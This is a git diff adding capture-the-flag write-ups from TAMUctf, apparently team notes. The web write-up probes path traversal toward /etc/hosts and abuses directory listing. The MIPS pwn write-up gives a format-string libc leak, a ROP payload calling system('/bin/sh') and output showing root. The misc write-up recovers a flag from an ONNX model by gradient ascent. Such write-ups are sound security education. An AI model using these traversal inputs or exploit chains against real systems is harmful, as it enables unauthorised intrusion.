bad-apple.tamuctf.com +Cookie: user_id=24720472 +Cache-Control: max-age=0 +Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146" +Sec-Ch-Ua-Mobile: ?0 +Sec-Ch-Ua-Platform: "Linux" +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Sec-Fetch-Site: none +Sec-Fetch-Mode: navigate +Sec-Fetch-User: ?1 +Sec-Fetch-Dest: document +Accept-Encoding: gzip, deflate, br +Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 +Priority: u=0, i +Connection: keep-alive +``` +gives you + +```http= +HTTP/1.1 302 FOUND +Server: nginx/1.24.0 (Ubuntu) +Date: Sat, 21 Mar 2026 15:24:16 GMT +Content-Type: text/html; charset=utf-8 +Content-Length: 279 +Connection: keep-alive +Location: /?view=SmallFullColourGIF&user_id=24720472 + + + +Redirecting... +

    Redirecting...

    +

    You should be redirected automatically to the target URL: /?view=SmallFullColourGIF&user_id=24720472. If not, click the link. + +``` + + + +# Endpoints + +Per endpoint: +- input +- output + +## / + +input +- user_id + - not sanitized, set by cookie +- view_gif = request.args.get('view') + - not sanitized, set by arg +- view_user_id = request.args.get('view_user_id', user_id) + - not sanitized, set by arg + + +Because of ` if f.startswith("frame_") and f.endswith(".png")` it looks like there is no file inclusion here. + +`render_template()` takes unsaitized `user_id` as argument. This is reflected in template, but it looks like this is not template injectable. + + +## /upload + +inputs +- `filename = secure_filename(file.filename)` + - probably secure +- `user_id = request.cookies.get("user_id")` + - insecure, not sanitized, set by cookie +- `user_dir = os.path.join(app.config["UPLOAD_FOLDER"], user_id)` + - might be traversable, but folder has to exist +- `filepath = os.path.join(user_dir, filename)` + - might overwrite files, when dir exists?? +- `safe_name = os.path.splitext(os.path.basename(filename))[0]` + - no traversal here +- `output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)` + - might be traversable + + + + + +- Server error on existance: https://bad-apple.tamuctf.com/get_frames?user_id=..&gif_name=../../../../etc/hosts +- https://bad-apple.tamuctfyp.com/get_frames?user_id=..&gif_name=../../../../etc/asdf + + +## Solution +Over /browse you can see the flag filename. With this, you can call convert. +``` +GET /convert?user_id=admin&filename=/srv/http/uploads/admin/e017b6321bda6812ec80e9fac368709e-flag.gif HTTP/1.1 +Host: bad-apple.tamuctf.com +Cookie: user_id=24720472 +Cache-Control: max-age=0 +Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146" +Sec-Ch-Ua-Mobile: ?0 +Sec-Ch-Ua-Platform: "Linux" +Upgrade-Insecure-Requests: 1 +User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Sec-Fetch-Site: none +Sec-Fetch-Mode: navigate +Sec-Fetch-User: ?1 +Sec-Fetch-Dest: document +Accept-Encoding: gzip, deflate, br +Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 +Priority: u=0, i +Connection: keep-alive +``` + +After this, go to / as user_id=admin. Now you should be able to select the flag file. The gif shows you the flag. + +This was only possible because, the httpd config enabled directory listing. +``` + + WSGIScriptAlias / /srv/app/wsgi_app.py + + + Require all granted + + + Alias /browse /srv/http/uploads + + Options +Indexes + DirectoryIndex disabled + IndexOptions FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* ShowForbidden + AllowOverride None + Require all granted + + + AuthType Basic + AuthName "Admin Area" + AuthUserFile /srv/http/.htpasswd + Require valid-user + + + + +``` + +Important is the Options +Indexes. This enables the index \ No newline at end of file diff --git a/challenge7-rev.md b/challenge7-rev.md new file mode 100644 index 0000000..b5c37e4 --- /dev/null +++ b/challenge7-rev.md @@ -0,0 +1,2 @@ +# challenge7 - rev + diff --git a/decreasing-misc.md b/decreasing-misc.md new file mode 100644 index 0000000..b1dd5b9 --- /dev/null +++ b/decreasing-misc.md @@ -0,0 +1,2 @@ +# decreasing - misc + diff --git a/hyper-neighbor-rev.md b/hyper-neighbor-rev.md new file mode 100644 index 0000000..39effb1 --- /dev/null +++ b/hyper-neighbor-rev.md @@ -0,0 +1,2 @@ +# hyper-neighbor - rev + diff --git a/meep-pwn.md b/meep-pwn.md new file mode 100644 index 0000000..a249a25 --- /dev/null +++ b/meep-pwn.md @@ -0,0 +1,139 @@ +# meep - pwn +fridgebuyer + +/meep ❯ file meep +``` +meep: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, BuildID[sha1]=140b4551e8ece2ef8f59a9b207d175713dc18e8f, for GNU/Linux 3.2.0, with debug_info, not stripped +``` + +/meep ❯ r2 -q -c 'aaa; afl' meep +``` +0x004008a8 5 336 dbg.diagnostics +0x004009f8 1 208 dbg.greet +0x00400ac8 10 692 dbg.main +``` + +/meep ❯ r2 -q -e bin.relocs.apply=true -c "aaa; pdf @dbg.**greet**" meep +``` +│ 0x00400a4c 27c2001c addiu v0, fp, 0x1c ; meep.c:43:5 +│ 0x00400a50 00003825 move a3, zero +│ 0x00400a54 24060100 addiu a2, zero, 0x100 ; arg3 +│ 0x00400a58 00402825 move a1, v0 +│ 0x00400a5c 00002025 move a0, zero +│ 0x00400a60 8f828034 lw v0, -sym.imp.recv(gp) +│ 0x00400a64 0040c825 move t9, v0 +│ 0x00400a68 0320f809 jalr t9 +│ ... +│ 0x00400a90 27c2001c addiu v0, fp, 0x1c ; meep.c:46:5 +│ 0x00400a94 00402025 move a0, v0 +│ 0x00400a98 8f828068 lw v0, -sym.imp.printf(gp) +│ 0x00400a9c 0040c825 move t9, v0 +│ 0x00400aa0 0320f809 jalr t9 +``` + +0x100 -- sym.imp.recv reads 256 bytes into buf@fp+0x1c +sym.imp.printf(gp) -- format string + +/meep ❯ r2 -q -c 'pdf @dbg.**diagnostics**' meep +``` +│ 0x004008d0 27c20018 addiu v0, fp, 0x18 ; meep.c:19:20 +│ ... +│ 0x0040090c 24060100 addiu a2, zero, 0x100 ; arg3 +│ 0x00400910 27c20018 addiu v0, fp, 0x18 +│ 0x00400914 00402825 move a1, v0 +│ 0x00400918 00002025 move a0, zero +│ 0x0040091c 8f828034 lw v0, -sym.imp.recv(gp) +│ 0x00400920 0040c825 move t9, v0 +│ 0x00400924 0320f809 jalr t9 +│ ... +│ 0x004009dc 8fbf00a4 lw ra, (var_a4h) +│ 0x004009e0 8fbe00a0 lw fp, (var_a0h) +│ 0x004009e4 8fb1009c lw s1, (var_9ch) +│ 0x004009e8 8fb00098 lw s0, (var_98h) +│ 0x004009ec 27bd00a8 addiu sp, sp, 0xa8 +│ 0x004009f0 03e00008 jr ra +``` + +0x100 — reads 256 bytes into fp+0x18 +ra loaded from fp+0xa4, then jr ra +buf to ra = 0xa4 - 0x18 = 0x8c = 140 bytes, recv reads 256 -- overflow +s0 (fp+0x98), s1 (fp+0x9c), fp (fp+0xa0) rewriteable + +/meep ❯ readelf --dyn-syms meep | grep puts +``` +18: 00000000 FUNC UND puts@GLIBC_2.0 +``` +- GOT entry at 0x411078 +- this is passed to greet func as "logger" +- greet func stores it on the stack at fp+0x18 +- printf's 6th arg + +so we can leak puts via %6$p + +meep ❯ nohup qemu-mips -L ./sysroot ./meep > /dev/null 2>&1 +... +meep ❯ echo '%p.%p.%p.%p.%p.%p' | nc -w2 127.0.0.1 9001 +```Enter admin name: +Hello: + +(nil).0x1.(nil).0x419020.0x7.0x2b37d3b0 ++*Enter diagnostic command: +``` + + +/meep ❯ readelf -s lib-mips/libc.so.6 | grep -E ' puts| system' + +``` +puts: 0x0007d3b0 +system: 0x000536e8 +``` + + +so offsets: +- libc_base = leaked_puts - 0x7d3b0 +- system = libc_base + 0x536e8 + +/meep ❯ strings -t x lib-mips/libc.so.6 | grep /bin/sh +``` +1ba178 /bin/sh +``` +- string "/bin/sh" is at 0x1ba178 in libc +- we can refer to libc_base + 0x1ba178 for system("/bin/sh") argument + +/meep ❯ ROPgadget --binary lib-mips/libc.so.6 | grep '^.* : move \$t9, \$s1 ; jalr \$t9 ; move \$a0, \$s0$' +``` +0x00027488 : move $t9, $s1 ; jalr $t9 ; move $a0, $s0 +``` +- https://devblogs.microsoft.com/oldnewthing/20180412-00/?p=98495 +- https://www.pagetable.com/?p=313 +- copy s1 into t9, we control s1 via overflow +- jump to t9 (system func) +- delay slot: copy s0 into a0 ("/bin/sh" string addr) + +### sol +- Send `%6$p\n` +- leak puts addr: `libc_base = puts - 0x7d3b0` + +```python +payload = b'A'*0x80 # pad to s0 +payload += p32(libc_base + 0x1ba178) # s0 → "/bin/sh" +payload += p32(libc_base + 0x536e8) # s1 → system() +payload += p32(0x41414141) # fp +payload += p32(libc_base + 0x27488) # ra → gadget +``` +- Gadget: `a0="/bin/sh"`, `jalr system()` gives shell + + +/meep ❯ python3 sol.py remote +``` +... +[+] Leaked puts: 0x2b7bd3b0 +[+] libc base: 0x2b740000 +[+] Shell response: uid=1000 ... +... +``` +$ . +```uid=0(root) gid=0(root) groups=0(root)``` + +$ cat /home/flag.txt +**gigem{m33p_m1p_1_n33d_4_m4p}** diff --git a/military-system-pwn.md b/military-system-pwn.md new file mode 100644 index 0000000..97fe29d --- /dev/null +++ b/military-system-pwn.md @@ -0,0 +1,2 @@ +# military-system - pwn + diff --git a/pittrap-misc.md b/pittrap-misc.md new file mode 100644 index 0000000..d644a6f --- /dev/null +++ b/pittrap-misc.md @@ -0,0 +1,203 @@ +# pittrap - misc + +The challenge contains a onnx file for a neural network. + +The input layer accepts a vector of length 48, with vocab_size 256. This indicates the input is a 48-character string, which is tokenized by `[ord(i) for i in inp]`. The output is a single score. + +![](https://notes.c3h2.de/pad/uploads/776d4ba3-3089-4131-802b-e7648ae1e3da.svg) + + +## Code to apply the network to an input + +```python= +import onnx + +onnx_model = onnx.load(ONNX_FILE_PATH) +onnx.checker.check_model(onnx_model) +print(onnx_model) +inp = None + +# Write code here to apply the model on the input +# out = ??? +import numpy as np +from onnx.reference import ReferenceEvaluator + +# int64 token ids, shape (batch_size, 48); input name must be "input_ids" +inp = np.zeros((1, 48), dtype=np.int64) + +sess = ReferenceEvaluator(onnx_model) +out = sess.run(None, {"input_ids": inp}) +score = out[0] +print(score) +``` + +Then I tried a gradient ascent approach to find the input the leads to the maximum score. The input was the flag. + +```python= +import numpy as np +import torch +import torch.nn as nn +import torch.nn.functional as F +from onnx import numpy_helper +from onnx.reference import ReferenceEvaluator + +# Target format: gigem{just__max_and_u'll_be_fine} +PREFIX = "gigem{" +SUFFIX = "}" +ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789_" + +# Only the middle is unknown. Restricting it to a plausible alphabet avoids +# the optimizer getting stuck in high-scoring non-ASCII byte values. +n_inner = 48 - len(PREFIX) - len(SUFFIX) +n_pad = 48 - (len(PREFIX) + n_inner + len(SUFFIX)) +assert n_pad >= 0 and n_inner > 0 + +weights = {init.name: numpy_helper.to_array(init).copy() for init in onnx_model.graph.initializer} + + +class GigemTorch(nn.Module): + def __init__(self): + super().__init__() + self.register_buffer("embed_mat", torch.from_numpy(weights["embed.weight"])) + self.conv = nn.Conv1d(64, 128, kernel_size=3, padding=2, dilation=2) + self.fc1 = nn.Linear(6144, 64) + self.fc2 = nn.Linear(64, 1) + self.conv.weight.data.copy_(torch.from_numpy(weights["conv.weight"])) + self.conv.bias.data.copy_(torch.from_numpy(weights["conv.bias"])) + self.fc1.weight.data.copy_(torch.from_numpy(weights["fc1.weight"])) + self.fc1.bias.data.copy_(torch.from_numpy(weights["fc1.bias"])) + self.fc2.weight.data.copy_(torch.from_numpy(weights["fc2.weight"])) + self.fc2.bias.data.copy_(torch.from_numpy(weights["fc2.bias"])) + + def forward_soft(self, probs): + x = torch.einsum("blv,vh->blh", probs, self.embed_mat) + x = x.permute(0, 2, 1) + x = self.conv(x) + x = F.gelu(x) + x = x.flatten(1) + x = self.fc1(x) + x = F.gelu(x) + x = self.fc2(x) + return x.squeeze(-1) + + +def chars_to_onehot_row(device, c): + v = ord(c) & 0xFF + return F.one_hot(torch.tensor([v], device=device, dtype=torch.long), 256).float() + + +def build_probs_from_middle_allowed(middle_allowed_probs, allowed_ids, device): + batch_size = middle_allowed_probs.shape[0] + middle = torch.zeros(batch_size, n_inner, 256, device=device) + middle.scatter_(2, allowed_ids.view(1, 1, -1).expand(batch_size, n_inner, -1), middle_allowed_probs) + + blocks = [] + if n_pad > 0: + pad = torch.zeros(batch_size, n_pad, 256, device=device) + pad[:, :, 0] = 1.0 + blocks.append(pad) + for c in PREFIX: + blocks.append(chars_to_onehot_row(device, c).unsqueeze(0).expand(batch_size, -1, -1)) + blocks.append(middle) + for c in SUFFIX: + blocks.append(chars_to_onehot_row(device, c).unsqueeze(0).expand(batch_size, -1, -1)) + return torch.cat(blocks, dim=1) + + +def ids_from_middle_indices(middle_indices, allowed_ids): + middle_ids = allowed_ids[middle_indices].detach().cpu().numpy()[0] + token_ids = [0] * n_pad + token_ids.extend(ord(c) & 0xFF for c in PREFIX) + token_ids.extend(int(x) for x in middle_ids) + token_ids.extend(ord(c) & 0xFF for c in SUFFIX) + return np.array(token_ids, dtype=np.int64) + + +def score_ids(model, token_ids, device): + token_tensor = torch.tensor(token_ids, dtype=torch.long, device=device).unsqueeze(0) + one_hot = F.one_hot(token_tensor, 256).float() + return float(model.forward_soft(one_hot).item()) + + +device = torch.device("cuda" if torch.cuda.is_available() else "cpu") +model = GigemTorch().to(device) +allowed_ids = torch.tensor([ord(c) for c in ALPHABET], dtype=torch.long, device=device) + +restarts = 6 +steps = 1000 +best_score = float("-inf") +best_ids = None + +for restart in range(restarts): + logits_inner = torch.randn(1, n_inner, len(ALPHABET), device=device) * 0.01 + logits_inner.requires_grad_(True) + opt = torch.optim.Adam([logits_inner], lr=0.2) + + for step in range(steps): + tau = max(0.25, 2.5 * (0.992 ** step)) + probs_inner = F.softmax(logits_inner / tau, dim=-1) + probs = build_probs_from_middle_allowed(probs_inner, allowed_ids, device) + soft_score = model.forward_soft(probs) + entropy = -(probs_inner * probs_inner.clamp_min(1e-9).log()).sum(dim=-1).mean() + loss = -soft_score + 0.02 * tau * entropy + + opt.zero_grad() + loss.backward() + torch.nn.utils.clip_grad_norm_([logits_inner], max_norm=5.0) + opt.step() + + if step % 100 == 0 or step == steps - 1: + with torch.no_grad(): + hard_idx = logits_inner.argmax(dim=-1) + token_ids = ids_from_middle_indices(hard_idx, allowed_ids) + hard_score = score_ids(model, token_ids, device) + guess_str = "".join(chr(int(t)) for t in token_ids) + if hard_score > best_score: + best_score = hard_score + best_ids = token_ids.copy() + print( + f"restart {restart} step {step:4d} tau={tau:.3f} soft={soft_score.item():.4f} discrete={hard_score:.4f} guess={guess_str!r}" + ) + +# Greedy coordinate refinement over the discrete candidate. +# This fixes the usual softmax-relaxation issue where argmax is close but not exact. +charset_ids = [ord(c) for c in ALPHABET] +for refine_round in range(10): + improved = False + for pos in range(n_pad + len(PREFIX), n_pad + len(PREFIX) + n_inner): + current = best_ids[pos] + local_best = best_score + local_char = current + for cand in charset_ids: + if cand == current: + continue + trial = best_ids.copy() + trial[pos] = cand + trial_score = score_ids(model, trial, device) + if trial_score > local_best: + local_best = trial_score + local_char = cand + if local_char != current: + best_ids[pos] = local_char + best_score = local_best + improved = True + print(f"refine round {refine_round}: score={best_score:.4f} guess={''.join(chr(int(t)) for t in best_ids)!r}") + if not improved: + break + +middle = "".join( + chr(int(i)) + for i in best_ids[n_pad + len(PREFIX) : n_pad + len(PREFIX) + n_inner] +) +flag_only = PREFIX + middle + SUFFIX +padded_visual = "".join(chr(int(i)) for i in best_ids) +print("n_pad, n_inner:", n_pad, n_inner) +print("middle:", repr(middle)) +print("flag:", repr(flag_only)) +print("full 48 (repr):", repr(padded_visual)) + +sess = ReferenceEvaluator(onnx_model) +onnx_score = sess.run(None, {"input_ids": best_ids.reshape(1, -1).astype(np.int64)})[0] +print("ONNX score (discrete):", onnx_score) + +``` \ No newline at end of file diff --git a/skretch-rev.md b/skretch-rev.md new file mode 100644 index 0000000..f17575b --- /dev/null +++ b/skretch-rev.md @@ -0,0 +1,2 @@ +# skretch - rev + diff --git a/zagjail-pwn.md b/zagjail-pwn.md new file mode 100644 index 0000000..5eb3e8b --- /dev/null +++ b/zagjail-pwn.md @@ -0,0 +1,2 @@ +# zagjail - pwn +